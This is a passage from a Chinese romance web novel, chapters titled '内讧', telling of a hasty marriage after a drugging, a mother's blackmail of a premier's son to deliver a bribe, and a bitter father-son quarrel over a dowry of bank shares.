“放心,不过是回去把话说清楚罢了。你明天一早就去买个钻戒,等素素醒了,我要和她结婚!”
井弘深问:“沈资政和您母亲会同意吗?”
沈靳言冷笑一声:“你昨天怎么没有想过这个问题!”
井弘深无奈:“情况很紧急......”
“紧急吗?你和四弟既然知道严鹤下了药,就说明有能力阻止素素喝下那酒!你们不阻止,不过是想我乖乖就范而已。”
他看着雪茄的眼神很茫然,井弘深不确定是不是自己看错了?
一时之间两人都没有说话,沈靳言也不知道在想什么,在垃圾桶上的烟灰缸里按了烟头,道:“你明天还要配一副避子汤来,要副作用小点的。”
井弘深:“......”他不敢过问沈靳言为什么要这么做,只得望着沈靳言的背影走远。
......
萧素素醒来已经是第二天中午了,身上有些疼,但是比昨晚骨头里的那种疼好多了。
她看到吴妈守在床头,含笑望着她,萧素素有些不好意思,问她:“你们二公子呢?”
吴妈把床头的便签拿给萧素素看,道:“今天早晨进来看过你,见你没有醒,就又去忙了!”
哈?萧素素意识到自己是不是睡得太久了?看房间里也没有钟,才问吴妈:“现在什么时间了?”
“平日里都过了午饭时间了,只是二公子专门嘱咐过,等你醒了,等着他回来用午饭。”
萧素素问道:“二公子这么忙,可是有什么事?”
吴妈摇头表示不知道,又问她:“您可需要沐浴?我去给你买了新衣裳回来,我伺候您沐浴?”
“谢谢吴妈,我不习惯别人伺候。”
“那我去给你放洗澡水。”
半个小时以后,萧素素洗好了,她觉得很饿,又不好意思说,只得假装看窗外的风景。
沈靳言端着一个碗进来,对她道:“你来这边坐。”他自己先坐在沙发上,把那碗黑黢黢的汤放在茶几上。
萧素素克制住自己的别扭,坐到沙发的另一边。
“过来。”沈靳言起身拉过她,拥她入怀。
吴妈正在整理被褥,马上停了手上动作,退出了房间。
沈靳言端过那碗黑黢黢的汤水,放到萧素素唇边,道:“这是避子汤,你趁热喝了。”
萧素素眼里划过一丝失望,但很快隐去,接过碗仰头猛灌,一口气喝了个干净。
沈靳言依旧抱着她,这才解释道:“如果昨晚上我让你怀孕了,我怕孩子会不健康,毕竟我们两个都吃了药,风险太大了,所以才给你喝避子汤。”
萧素素很吃惊,猛得看向他。
她眼里的情绪没有瞒过沈靳言,沈靳言道:“我说了今天会带你去做婚姻登记,我不怕你怀了我的孩子。”
萧素素:“......”
他托着她站起来,道:“外间已经摆了饭了,我们先去吃饭。”
萧素素本来就很尴尬,吃饭的时候就不说话,沈靳言看着她一
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小口一小口的咬青菜,吃得很慢,好像很不喜欢的样子,就催她:“多吃点,等会儿我还有事要说。”
肚子很饿,可是真的吃的时候又不想吃,嘴巴里淡淡的,连刚刚那碗药的苦味都不明显,根本就没有胃口,萧素素随便吃了一点就放下碗筷了。
沈靳言给她夹了燕窝冬笋烩糟鸭子,道:“再吃点,你太瘦了。”
萧素素摇摇头:“我真的吃不下。”
沈靳言也放下碗筷,说了萧岐山昨天被京师地方检察厅留置的事。
萧素素猛得站起:“沈靳言,你为什么不早说!”
沈靳言表情很古怪的看着萧素素,萧素素才发现自己连名带姓的叫了他的名字,以前母亲在世时,从不喊父亲的名字,女子以夫为纲,在旧社会这样叫名字就是不尊重。何况,他本来就是她的老板。
沈靳言却突然笑了,道:“叫得好!以后就这么叫。”
萧素素沉默了一瞬,目光炯炯的盯着他:“我问你,为什么不早点告诉我?”
“你休息不好,可是会闹下病根的,而且你知道了也没有用,只是会多一个担心的人。”沈靳言想起昨晚回家和父亲大闹了一场,父亲不知道又听了谁的谗言,又怀疑他与萧岐山的关系了,所以他对萧素素肯定道:“你父亲不会有事的。”
萧素素看着他:“我父亲为什么被留置?”
沈靳言解释道:“吴景深是圆明园主管事务郎中的时候,你父亲是委署主事,原京师地方检察厅检察长章卫平状告你父亲与吴景深勾结,共同倒卖圆明园中的古玩国宝......”
萧素素皱着眉问沈靳言:“吴景深的事......不是你谋划的吗?”她本来想说栽赃的,但个人感情上她无法说出那两个字。
沈靳言却是知道她想说什么,摇了摇头道:“吴景深不是栽赃的,你父亲才是。”为了拿捏吴景深,圆明园倒卖国宝那个事情沈松龄早就调查清楚了,如果萧岐山有问题,沈松龄不会任由他坐到陆军少将的位置上,毕竟沈松龄眼里也容不下沙子。
萧素素问:“那我要怎么办?”
沈靳言道:“我已经都安排好,你不用管。你大爸过两天就回家了。”
萧素素道:“大爸对我恩重如山,我却什么都不能为他做。”
沈靳言伸手拉住她的手:“来日方长,等我们结了婚,再慢慢报答他们夫妻。”
“结婚?”
沈靳言摸出怀表看,站起来:“你去收拾一下,我们马上就过去,登记处的人也该上班了。”
萧素素道:“家里都不知道,怎么可以结婚!”
沈靳言道:“我已经通知萧夫人了。”
萧素素道:“通知?不用征求她和大爸的同意吗?”
“我告诉她,你我已经有了夫妻之实,所以要赶快登记结婚,不然孩子大了影响你名声。她还会不同意吗?”
“沈靳言!你不要太过分!”
沈靳言不理她的咆哮,淡淡道:“快去收拾,除了你大爸的事,我还有很多事要处理。”
34. 内讧(十二)
严鹤坐在鲲鹏俱乐部408客房的西式大床上,他的手臂因握紧的拳头而暴出根根青筋,身子再怎么克制终究还是微不可查的颤抖着,眼眸中刚刚因情欲退去的猩红再一次浮上眼角。
这个房间是他在鲲鹏俱乐部包年的客房,
不知何时,从不摆设桌椅的高大南窗前现在摆下了一只细藤编的圆茶桌。
在他还赤身裸体的躺在床上的时候,他们就这么堂而皇之的进来摆了这些?
圆桌前还坐了个妇人,穿戴整齐又贵重,虽然眼角有了细纹,容貌却是很美丽。
陈婉对严鹤的愤怒视而不见,脸上的笑容有模糊年岁的妩媚,柔声问他:“你醒了?”
“你谁啊?”虽然他是个男人,但不论男女,被这样对待,也有无法言说的难堪和羞辱。
陈婉笑了,道:“你给我女儿酒里下情毒的时候怎么没有想过我是谁?”
原来是萧素素的母亲,难怪这么好看,严鹤尴尬:“她还好吗?”
陈婉道:“没了清白,若是不能结婚,能有什么好?”
严鹤道:“伯母,你让我见见素素。”他的身体状况明显是和女子发生过关系,昨晚和她欢.好时那具躯体很浪,他感觉不像是萧素素。而且他没给自己下药,只给萧素素下了药,他的药又是谁下的?这一切实在是太可疑了。
陈婉冷笑:“严公子不知道那药多么歹毒吗?你给她吃了那样的药,她现在遍体鳞伤......没法见你了。她已经被我接回家里了。”
严鹤道:“我会为她负责的......”
陈婉冷冷道:“是吗?我看你对我冷眉冷眼的,不像是想对她负责。”
她观察着严鹤的脸色继续道:“不过,素素说了,你堂堂总理之子,她也配不上你,不如,你替她做一件事,她从此以后就绝口不提今晚的事,你们两清。”
严鹤抓着被褥的手无助的松开,继而又将那被褥紧紧的握住,他其实是喜欢萧素素的,虽然想控制她,让她替自己在沈靳言那里打探消息,但他是希望萧素素成为自己女人后心甘情愿的去为自己打探消息。
陈婉见他沉默,继续道:“或者还有另一条路,你不帮她做这事,然后我只得把你对她做的种种事情刊登到《太阳日报》上去,让百姓和我们总理大人看看我们的严公子多么的下流。哦,对了,你好像知道萧岐山和我陈婉并不是萧素素的亲生父母,别以为我做不出来!”
严鹤脸上那因情欲而起的潮红终于退去的干干净净,转而变成了一阵青一阵白!
严鹤道:“萧夫人,你要我怎么样?”
陈婉将脚边那只法国路易威登的鹰纹皮包往桌上一摆,道:“这是二十万美金,今天刚提的。”
严鹤问她:“这钱该不是给我的吧?我不缺钱。”
陈婉翻白眼:“当然不是给你的。你拿去给上周卸任的京师地方检查厅检查长章卫平。”
“因为什么事,你们要拿这个钱给他?”
陈婉道:“他诬告素素的父亲与吴景深案有关。”
陈婉拿出一个信封,放在桌上:“这里面有章卫平家地址,我会叫人跟着你,若是你没有替素素去找他求情,我就只好明天去找《太阳日报》社的社长大人了。”
陈婉笑笑:“我听说方社长想把女儿嫁给沈资政家的四公子,不知道他对总理家儿子的荒唐事感不感兴趣,我这妇人也只有试试才知道了。”
严鹤咬牙切齿:“我去这一趟就是了,但我可不敢保证,他给我颜面。”
陈婉道:“你把你父亲也说的太不中用了,他可是堂堂的国务总理,你是他独子,花国还能有人不给他面子。”
严鹤道:“我终究不是我父亲。”
陈婉道:“你去这一趟就够了,结果如果不如意,我们也好另寻办法,不会怨你。”
严鹤道:“我答应了自当会尽力。”
陈婉道:“行,你洗洗就可以出发了,我等着你的好消息。”
陈婉款款出门,拐弯去了421房间。
沈靳晖这边观察了周围,关了门,才恭敬的对陈婉称“伯母”。
陈婉看上去很焦虑,问:“素素真的和二公子去民政厅做结婚登记去了?”
沈靳晖点点头:“伯母放心,我二哥不是严鹤那等混帐。恐怕他们这会儿已经登记完了,晚上在宣武门天主堂举行简单的西式婚礼。”
陈婉问道:“为何这么急?沈资政还不知道他们的事吧?”
沈靳晖心想父亲的探子应该很快就会把二哥结婚的事汇报给他,却只说沈靳言的打算:“结了婚我二哥才有立场救萧将军。”
陈婉问道:“这样不会让沈资政更生气吗?”
沈靳晖安慰道:“您放心,一切有我二哥呢。”
陈婉也不好再说什么了。毕竟现在情况已经很糟糕了,她丈夫还指望沈靳言营救呢。
......
玉柳胡同的章府,夜色已深,房檐下挑起了羊角的琉璃灯笼,灯芯早换成时兴的电灯了,格外的别致。严鹤咳嗽了几声,他不知道是不是药物的作用,总觉得骨头里隐隐的痛,他低头提了他长袍的下摆,往石阶上走去。门外站着一个西装革履的男子,跟他低声说:“听说你要来,一直没有出门......
严鹤傍晚已经将那二十万美金作为敲门砖先送来了,章卫平收了,想来今晚的交谈不会太困难。
严鹤也像安秘书一样压低了声音,道:“劳烦安秘书帮我传一声话吧。”
被称为安秘书的人道:“不用传了,章先生让你直接进去。”
灯光一丝丝从槅扇里漏下来,屋子里很安静。
这间屋子就是原京师地方检查厅检查长章伟平在京中的家庭办公室了,严鹤偷偷观察这间办公室,当然比他父亲在家中的办公室要小很多,却也比原先章卫平在京师地方检查厅的办公室小。
这个办公室很小,书架也是空的,地上大大小小的行李箱十多个,一看便知,章伟平马上要离开此地。
“萧家都见过法院和内务部的人了?”章伟平抽空抬头看了一眼严鹤,继续伏案工作。
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严鹤岂会不知章卫平在故意拿架子,若不是有把柄在萧夫人手里,他才不会来跑这一趟,萧岐山的案子说到底就是沈松龄和吴景深内讧引起的,章卫平应该是听命于沈松龄,他来了也没用。
只是他不来这一趟,萧夫人明天就要把他的丑事登报了。
他干巴巴的说:“见过了。但萧素素说,有章检察长在,一切还请检察长裁夺。”
“这么大的案子,岂是我能左右的?别说我已经从京师地方检察厅检察长的职务上下来了,即使我还在那个位置上,这个案子也不会因我而有什么不同。”章卫平说到这里从办公桌下拎起了一只法国路易威登的鹰纹皮包往办公桌上一摆,“所以,你不应该给我送这个来。过来看看,我没有开过这个包。”
严鹤作为总理严学熙之子,给人送钱这样的事显然做得还不习惯,但他仍然站在那里笑着:“我相信你没有打开,检察长要是有什么话请直说。”
章卫平皮笑肉不笑:“你告诉我,里面是什么?”
严鹤回敬一个皮笑肉不笑,甚至是章卫平相同程度的笑:“我们素素说了,这里面的东西不是送给检察长的,她知道的,检察长向来清廉惯了,也绝不会要这个东西。可为了救萧将军,检察长调了那么多人在帮忙出力做调查,您刚从京师地方检查厅任上卸任下来,检察长派遣人手的调查费便不是从京师地方检查厅出。调查费不少,都是检察长私下掏腰包,这显然不合适,兄弟们出勤的车马费该萧家出。”
此前,章伟平交代安秘书准确掌握萧素素和她父亲的任何资料。以备不时之需!
章卫平心想:调查是调查了,但也不是帮萧家调查,仅仅只是沈家父子踹窝子的把戏而已,也不知道沈松龄到时候怎么收场?
章卫平还是那种皮笑肉不笑:“你还是没告诉我,里面是什么。”
严鹤:“为了稳妥,我到花旗银行现提的,也就二十万美金。”
章卫平依旧皮笑肉不笑:“严公子,如今总统府就是个摆设,在花国你父亲还是说了算的,你瞧瞧,你在干嘛?为了区区萧素素,你屈尊降贵来我这里,还送来这个。”
“这个”当然说的是那二十万美金。挤兑风潮虽过,花国银元兑换券却依旧贬值严重,如今值钱的除了金银珠宝就是美金英镑这些外汇了。
严鹤的侧脸有种淡淡的光辉,如玉的俊美,剔透夺目,他起身,看到窗外的西府海棠已经枯萎了,多事之秋,如今他亦不能置身事外。
他有些泄气,但面上不显:“这是萧家的钱,我只是代为转交。”
章卫平突然严肃起来,他定定的看着严鹤漂亮的眸子,问道:“你和萧素素是什么关系?”
“她是我的大学同学。”
“哦,能为大学同学做这些事,严公子真是重情重义!”
严鹤望着章卫平沉默。
章卫平淡淡道:“不知道你可知萧素素今天结婚?”
严鹤显然不知道这件事情,踉跄了一下:“她怎么会?她……和谁结婚?”
“沈靳言。”
35. 内讧(十三)
鲜花铺在地毯上,地毯则是欧洲中世纪的油画,上面有很多穿着华服的女子,服装非常奢华,宽衣、窄裙,并装饰有精美的刺绣、珍珠和宝石。
她们垂手站在地毯上,端庄优雅,含蓄得体。萧素素站在门边,望着那些女子发呆。
教堂里真人只有三个,牧师、沈靳言、萧素素。
当然,她看到教堂外面有很多人,都穿着沈靳言别院那些护卫相同颜色的中山装。但他们不是来观礼的,教堂里也没有一个人观礼。
没什么好遗憾的,即使父母还健在,她的婚礼也不可能高朋满座。现在萧岐山也被留置了,婚礼什么的,她不应该有任何期待。
沈靳言打量着萧素素,洁白的婚纱,皎美的妆容,女人如花,那么,今晚的她就是花朵盛开最娇艳的一刻。
沈靳言向萧素素伸出手:“走吧。”
萧素素没有接他的手,她深吸了一口气,抬手挽住了沈靳言的胳膊。
沈靳言一愣,显然不习惯这样的亲昵。
他边引着萧素素,边问道:“觉得自己委屈吗?”
“没有。”萧素素觉得沈靳言是个可靠的男人,家世又好,如果她还觉得委屈,那绝对是矫情。
“会不会后悔?”
“不会。”这也是真话。
“向不向往一场轰轰烈烈的爱情。”
“不敢向往。”
“是因为你生父吗?”
“......不是。”萧素素知道不是因为生父,而是不管任何时候,她都没有向往过爱情。
她只是出生不好的平民女子,亲生父母在世时,柴米油盐,亲生父母去后,血海深仇。
因此,从来没有向往过轰轰烈烈的爱情,但她希望有人护着她,能成为她的依靠。
她停下脚步,抬起头,眸子象湖水般清澈,直直的望向沈靳言:“沈叔叔,你会把我当作你的妻子吗?”
这是女人第二次这么称呼她,言语中有无法言说的期盼,沈靳言愣了一下,跌进那抹湖光里,他道:“会。”
他托起她的腰,抵住她的后脑勺,吻上她的唇。
急促而热烈的吻。
萧素素闻到了那股柠檬香气,但她很抗拒,拼命挣脱出他的怀抱:“还有人在,不庄重。”
沈靳言想起昨晚的快乐,突然有些向往传说中的爱情。
上一世,他没有过爱情,与妻子连相敬如宾都算不上,谭小曼吸大烟以后,他更是厌恶得恨不能杀了她。
能称□□情的倒是有一个,只是,她多半是逢场作戏,利用了心境不好内困外忧的他。
他牵起萧素素的手,觉得既然她能给他带来从未有过的欢愉,亦能给他带来他心血来潮渴望的爱情。
沈靳言茫然的想,反正他英年早逝,何不多多放纵?
牧师已经在开始念证词:
“......让我们在上帝面前见证新郎沈靳言和新娘萧素素的结合。
上帝,我们的主啊,我们即将要在您的面前,目睹并祝福这一对进入神圣婚姻殿堂的男女。按照主的旨意,新郎和新娘将合二为一,终身相守;从此互敬,互爱,互助,互信;沈靳言和萧素素,你们愿在上帝面前彼此以身相许吗?”
沈靳言和萧素素面对面站着,见萧素素不答,也不等她,就道:“我们愿意。”
萧素素:“......”
她这才反应过来,他们是要一起回答刚刚的问题的。
牧师看了一眼萧素素,继续道:“以天父上帝的名义,沈靳言,你愿意接受萧素素做你的妻子,与她共度神圣的婚姻生活,并且无论健康或者疾病,贫穷或者富有,还是任何其他理由,都关心她,呵护她,疼爱她,珍惜她,永远的陪伴她,直至生命的尽头,你愿意吗?”
沈靳言虔诚的道:“我愿意。”
牧师:“以天父上帝的名义,萧素素,你愿意接受沈靳言做你的丈夫,与他共度神圣的婚姻生活,并且无论健康或者疾病,贫穷或者富有,还是任何其他理由,都理解他,支持他,体谅他,照顾他,永远的跟随他,直至生命的尽头,你愿意吗?”
萧素素:“我愿意。”
牧师:“希望你们牢记并恪守今天在天父上帝面前的郑重承诺,主与你们同在。
现在,我以圣灵、圣父、圣子的名义宣布:新郎沈靳言和新娘萧素素结为夫妻。愿主祝福你们活着的每一天都快乐。阿门。”
最后,交换戒指。
沈靳言看到萧素素手上的伤口,略有迟疑,那是这个平民家庭的女孩做饭切菜时留下的伤口,已和她的芊芊玉手融为一体,并不十分明显。
戒指带上去松松垮垮,沈靳言道:“是井秘书今早匆匆忙忙去买的,等你父亲的事解决了,我们自己去选。”
萧素素“嗯”了一声,没有任何意见。
两人相携回了沈靳言的别院,沈靳言把萧素素安置在去年萧素素住过的那间房间,对她说:“我还有事,你早点睡,明早去老宅请安。”
萧素素点点头,巴不得他有事,她还不习惯两个人的相处,就问她:“我什么时候能见到我大爸?”
“明天我们去老宅向我父亲说清楚了,应该就能见到。”
萧素素道:“我觉得沈资政扣着我大爸不光是因为那则莫须有的花边新闻,可能还有别的意图。”
沈靳言很震惊,因为他昨晚回老宅,父亲只说了他和萧岐山关系不清不楚,等他结婚了,自会放了萧岐山。
如果还有别的意图,那是为了什么呢?
前世他和萧岐山萧素素都不熟,自然没有这些事,而且父亲从来没有骗过他,所以父亲昨晚那么说,他便相信了。
那父亲究竟有什么意图呢?
他心里有了这个疑问,嘴上却安慰萧素素:“别想那么多,早点睡。”
沈靳言下楼的时候,听到吴妈正在跟一个男人说话。
那声音好像是温管事的声音,沈靳言的心不由得悬起来。
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他转过二楼的转角,便问道:“有什么事?”
温管事仰头看见他,便道:“老爷让你回老宅,有要事商议。”
沈靳言和温管事回老宅的路上一直在胡思乱想,没想到见到沈松龄后,沈松龄对他说的第一句话却是:“结婚的感觉如何?”
沈靳言看到沈松龄得逞的笑,心想,果然事情不简单,萧素素的直觉还挺准!
也是,一切都在父亲掌握中才是正常现象。
他干了什么,别人又干了什么,父亲一点都不知道,就太扯了!
父亲乃是一国资政,什么消息都蒙在鼓里,好像也不对头。
但是,默认他和萧素素结婚,一点都不阻止,这事就不像父亲了。
他扣着萧岐山,假装相信那则“断袖之癖”的花边新闻,其实是另有谋算。
沈靳言犹豫了一下,决定不绕弯子,道:“陆军归您节制,我觉得即使没有儿子和哪个我有军权的人联姻,您也不会有所影响,所以,就和素素结婚了,儿子玷污了她,自然要为她负责。”
沈松龄道:“是吗?你怎么知道我不需要你和人联姻?”
沈靳言继续道:“......联姻也不能保证别人对我们家的忠诚。”
沈松龄再也笑不出来,怒道:“所以你不是没有替为父考虑过,而是你考虑过后压根就不想替为父分担?”
沈靳言:“......”
不是这样的,他原先是根本就不想结婚,所以父亲没有说,自己也就没有想。
和萧素素是个意外,她喝了那种东西,为了救她,他辱了她的身子,自然要娶她。
沈靳言有些苦涩的说:“我只是您的庶子,您一贯坚持嫡长子继承家业的传统,虽然动不动就说最是看中我,我很清楚,你这些话只是安慰我而已。昨日你说要母亲给我安排婚事,您只是想到拿我的婚姻做个政治联姻也是一个两全其美的法子。顺便的事儿。”
沈靳言定定的看着沈松龄,继续道:“您要是真的那么看重我,早就给我选了家事好的女子结婚,何必等我成了老光棍才来逼我?”
句句说到了关键,沈松龄只得硬着头皮拿孝道说事:“我原本以为你是最孝顺的,因此完全是很放心你!却没有想到你这么自私!……婚姻大事,你居然善作主张就去登记了,你眼里还有没有我这个父亲?难道你是从天上掉下来的?即使是寻常百姓家,也没有儿子结婚老子都不知道的!”
沈靳言从不顶嘴,今日却是忍不住:“你不是知道我登记结婚的事吗?我要做什么,怎么做的,您不是一清二楚吗?我是没有跟您说,但是您的探子可是跟您说的一清二楚!”
“放肆!”沈松龄没有想到沈靳言会顶嘴,他这个次子是最循规蹈矩的,他刚刚骂他只是为了更好的拿捏他而已。他以为沈靳言会跟他道歉,然后向往常一样静静的听他说出自己的难处,然后很好的按着他的想法去把事情安排妥当。
他什么时候变了?
36. 内讧(十四)
沈靳言不顾父亲的愤怒,卡流程:“父亲,你到底把我岳父扣着做什么?不会现在还想拿欧乐贤父子恶心人的花边新闻说事吧?......不能够,你那么喜欢女人,儿子也喜欢得很!”
“逆子!”沈松龄操其那根银质诗文木质杆体拐杖就往沈靳言身上打,沈靳言眼皮都没有眨一下,生生给接住了。
这更让人生气,其他孩子小时候挨打受教训都会求饶,唯独沈靳言从来没有求饶过,无论什么惩罚,他都眼皮都不眨一下照单全收,父母终究是喜欢会认错爱撒娇的子女。
沈松龄也没想继续打他,就听沈靳言道:“我原本以为诬陷我岳父的会是欧乐贤父子或者严学熙父子或者皇甫元思、金致翰之流,结果是章卫平,怎么,堂堂一国资政,和那下等人家一样,父亲娶了年轻后妈就跟着年轻后妈一起算计亲儿子的资产,一起虐待亲儿子?”
“我打死你这个不孝子!”沈松龄完全没有想到沈靳言全都想到了,被说中了沈松龄的心事,沈松龄更是恼羞成怒!
沈松龄丝毫都还没有开始提欧繁汐给他的建议,沈靳言全都猜到了。
宋婉在外面哭得声嘶力竭:“老爷,你杀了妾身吧,求您饶了我儿子吧!今天本该是他的洞房花烛之夜啊!”
外面下着大雪,母亲受不得冻。
沈靳言想早点结束今天的对话,又开口了:“父亲打死我吧,看你的如意算盘找谁开口!”
如鲠在喉。
沈松龄从来没有在谈判场上这么被动过,他惊觉自己上了当。他这个次子今天是有意激怒他的,为的就是让他无故责罚他,好让他有什么话都无法开口说。
谈判都没有开始,他就责罚了他,不占理。
要不是宋婉在外面哭,这小子会一直激怒他,他就会一直打他,打到他遍体鳞伤为止,这事更是会到无法转圜的余地。
他在罗汉床上坐下,道:“你明天把儿媳妇带来老宅请安,我跟儿媳妇谈。”
“儿子荒唐,床事上丝毫没有节制,她现在下不了床......”
沈松龄根本没耳朵听,这都说的什么玩意儿?他也不会继续上当打他,就指着他道:“这是你在父母面前应该说的话吗?读书读到狗肚子里去了?还有,别拿这些做借口,结婚登记和婚礼她都能走得去,回老宅她来不了了?你骗鬼呢?”
沈靳言道:“说来不了就是来不了,从教堂回家我就把她抱在床上疼爱,儿子这样的老光棍,单身了三十年,总算知道女人有多好了......”
“住嘴!”沈松龄操其拐杖就又给他来了一下。
连轴转的劳累,又是触不及防的挨了打,沈靳言没忍住,下意识的呻吟了一下。
宋婉耳力惊人,又在外面哭天抢地:“沈松龄,你这个老王八,你不许打我儿子!”
“沈松龄,你这个老王八!”
“沈松龄?老王八?”一个个翅膀毛硬了,都敢直呼他的名字了?沈松龄心里暗暗的想,也没脸喝斥宋婉,他希望护院都没有听到她刚刚的话。
但是外面还在骂:“沈松龄,你这个老王八!”
这不是不给他脸吗?她在床上怎么骂他都可以,可是外面这么多护院呢!他怎么能这么不给他面子!
沈松龄怒喝道:“温管事,把二姨太请回澄园去!”等会儿再亲自去收拾她!
温管事觉得自己后背发凉,声音低了再低:“二太太,您别叫属下为难。”
庑廊里挂了红灯笼,映衬在宋婉脸上,白玉般莹白,她平日里对沈松龄最是温柔体贴,温管事还是第一次见到这个二姨太撒泼,她多半柔柔弱弱,惹得沈松龄无下限的怜爱。
原来她的柔弱只是她争宠的手段而已,凶起来了,连老爷都敢骂!
宋婉“哼”了一声,道:“我儿子在里面,想我回自己的院子,那不能够!大不了我不骂这个老东西了。”
温管事只得预判自己是罚月俸还是挨板子了,也不敢真的把她请走,其他姨太太都不敢来偷听老爷和公子们说话,她敢来也敢骂,当然是因为她足够得宠!
屋子里,沈松龄端了茶喝,已经有些凉了,他只得又放下茶杯,变换了策略,说:“她既然不来,就怪不着我不认她了?”
沈靳言一句不让:“您扣着她的父亲不放,有没有可能人家也不想认您?”
沈松龄道:“一个少将之女,还是养女,你说她不想攀着我家的高枝?不想认我?”
沈靳言苦笑:“我也只是一个区区不受宠的庶子而已!算什么高枝?”
所有儿子中,沈松龄其实还是更喜欢沈靳言,之前那么多年,不过问他的婚事,也有放纵之意。他们家不比寻常人家,如果他表现出喜欢长子以外的儿子,底下的人就会刻意钻营,拉帮结派,甚至闹出不可估量的乱子。
他颤着手指着沈靳言:“你是不是专门回来气我的?”
沈靳言鼻子里哼了一声,道:“您才是专门请我回来挨打的!我好好的洞房花烛夜,你不让我洞房,你沈家还想不想有后了?难道指望你那个宝贝嫡长子给你生孙子?”
沈松龄觉得胸口有点痛,但被次子绕了老半天,谈话的中心思想都还没有沾到边,他也不能轻易就放他走,只得硬着头皮说:“她这么低的出生,可不能没有嫁妆!她的嫁妆必须对得起我们家的门楣......”
沈靳言嘴角露出一丝笑意,是极致的嘲讽:“恐怕自古以来都没有您这样把亲家公扣起来,然后向人家要嫁妆的!”
“逆子!”沈松龄抬手就给了沈靳言一耳光。
沈松龄看到沈靳言脸上的手指印,自己也愣住了。
原先“扣着”萧岐山只是为了以防万一......欧繁汐说老二似乎有些喜欢他的秘书,且她也去查过了,那个秘书就是萧岐山的女儿。
老二一向很有主见,绝不会乖乖的等着家里给她安排结婚对象,把萧岐山“扣着”,在给萧岐山安个罪名,老二
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为了萧岐山,断不会乱来。
这个计划原本也还是能执行的,谁知道严鹤这个畜生却对萧素素下了虎狼之药,还正好被老二撞见。
他更是没有想到老二一提起裤子就要娶人家。他其实是来不及阻止的,如果老二花几天时间筹备一下婚礼,那样他大可以以萧素素出生过低为由,让老二跟一个家世更显赫的女子结婚,顶多同时让萧素素当个姨太太。
结果,老二这一连贯动作下来,所有人都没有反应过来,他就娶萧素素为妻了,还是新民政厅办的登记。
陆军少将之女,在军中也有一定的象征意义。
木已成舟,他一个资政,再想反对,别人说他嫌贫爱富事小,伤了陆军将士的心才不合算。
所以,欧繁汐又建议说:“花国通商银行有萧岐山20%的原始股,让那个成为萧素素的嫁妆,我们就让她入族谱......”
沈松龄本来还有些犹豫,欧繁汐又道:“花国通商银行可是花国唯一拥有金融主权的民办银行,所有股份都抓在沈家手里,即使将来沈家再落魄,至少有黄河集团和通商银行。再说了,只看眼前,那20%的股份也是沈家需要的,靳亭是投资了定国银行,可是一则它还没有正式开业,二则它是官商合办,到底和通商银行不一样。”
沈松龄迟迟不下决定,欧繁汐又道:“那20%的股份做了嫁妆也是萧素素的,又没有别人要她的。”
沈松龄这才彻底下了决心。
见沈松龄不知在想什么,而且都闹成这样了,萧岐山总应该放出来吧,沈靳言就道:“你把我岳父放了,等他回家了,开心了,自然会根据您给他女儿的彩礼,拿出匹配的嫁妆......”
沈松龄到底是老不要脸的,终于开口道:“在他没有答应将通商银行那20%的股份作为嫁妆之前,我是不会放了他的!”
沈靳言道:“人家有什么错?无非就是您儿子不要脸,侮辱了人家女儿,你现在反倒找人家要股份?沈资政,人家凭什么答应你?”
沈松龄直直的看着次子,道:“我们沈家不缺那20%的股份,既然是嫁妆,自然还是萧素素管着,为父是替你要的,她本来就配不上你,再没有钱财傍身,她做你的姨太太都不配。”
“儿子没觉得她不配。”
沈松龄觉得没法沟通了,就道:“你也可以去检查厅找萧岐山,我想他也一定会同意的。”
沈靳言鼻子里又“哼”了一声:“儿子侮辱了人家女儿,父亲又诬陷人家……我没脸去见他。除非父亲把他给放了。”
都是车轱辘的话,沈松龄都听倦了:“不放!你给我滚!”
沈靳言从地上爬起来,理了理自己的衣服,走到门口才说,语气极淡:“你今晚不放,我明天只得登报说,资政之子□□陆军少将之女了。您知道的,儿子手里有几家报纸的,还算中用......你大可以不放!”
“你敢!”
“你看我敢不敢!”
37. 内讧(十五)
沈靳言走后,萧素素从三楼窗户看了一下周围的情况,发现院子里站了很多护院,从三楼翻窗下去肯定能被这些人发现。
看来,没有沈靳言的同意,要想回萧公馆,也不大可能。
陈婉上周才从宝坻回来,突然大爸就被沈资政扣押了,想来她应该很担心。
萧素素在房间里急得踱来踱去,也不知道过了多久,吴妈就上三楼来请她下楼吃夜宵。
一楼餐厅的丫头进进出出的有十来个,萧素素记得上次来的时候除了吴妈就两个小丫头。怎么一下多了这么多?这些丫头,给餐桌上摆了清炖乳鸽、鸳鸯鹿排、烩羊肉、鳝丝浇面、凉拌凤尾......摆了一整张桌子。
萧素素请吴妈上桌吃饭,吴妈推迟道:“这不成,沈家没有奴婢和主人家一桌吃饭规矩,要是让老宅的人知道了,我是要被罚月俸的。”
萧素素不勉强,在萧公馆,他们吃饭,奴婢也只能在一旁伺候。
吴妈给萧素素盛了一碗米饭,又给她布菜:“少奶奶,先吃这个龙凤三丝,这是汉朝宫廷菜,这个菜意头好......”
萧素素:“吃菜的顺序还有讲究?”
吴妈道:“今天是洞房花烛夜,当然有讲究。这个菜有个传说......刘备娶讨虏将军孙权之妹孙尚香的时候,吴国太为了纪念女儿出嫁,特命厨师用天上的飞龙鸡的胸脯肉,配以少许时鲜菜精心制做而成的,这道菜取意为龙凤呈祥,以喻吉祥。”
萧素素一口一口的吃下,中了严鹤那毒这么久了,嘴巴里还是淡淡的,吃不出来什么味道,萧素素道了谢。接着道:“吴妈,就是寻常百姓家里,今天也该给你们每人封个红包,只是......我身上没带钱,改天补上。”
吴妈含着笑,道:“这些都不用您操心了,四少爷已经给过我们红包了......你看这些丫头也是四少爷别院调过来的。”
难怪多了这么多个丫鬟,沈靳晖对沈靳言这个哥哥还不错。
他这几天好像忙前忙后了很多事,连新婚的红包都包了?
吴妈又给她萧素素布了一个菜,鸳鸯鹿排,她笑盈盈的说:“四少爷托奴婢传话给您,二少爷这几天忙,你们又是突然成婚,洞房花烛夜那些,比如铺床、坐帐、撒帐这些都没有来的及准备,但他是认您这个二嫂的,他永远都支持二哥二嫂。”
铺床、坐帐、撒帐......以前在胡同里,隔壁家的大哥娶亲好像是有这些,生父死了以后,萧素素从来没有想过结婚生子的事情,她就像个提线木偶一样,每天上班下班,虚度光阴,甚至当初心里的那些仇恨也没有那么真切了,她仿佛在过别人的人生。
因此吴妈不提,她也完全没有想过这些。她只是很茫然,对未知的茫然,这种茫然渐渐扩张,变成了一种恐惧。
她望着饭菜发呆,吴妈又给她夹了一筷子菜,跟她说:“老宅的情况您大概也知道一些,今天您也累了,奴婢就暂且偷个懒,不说这些了。”
萧素素没有吃吴妈刚刚夹的菜,而是问她:“行长什么时候回来?”
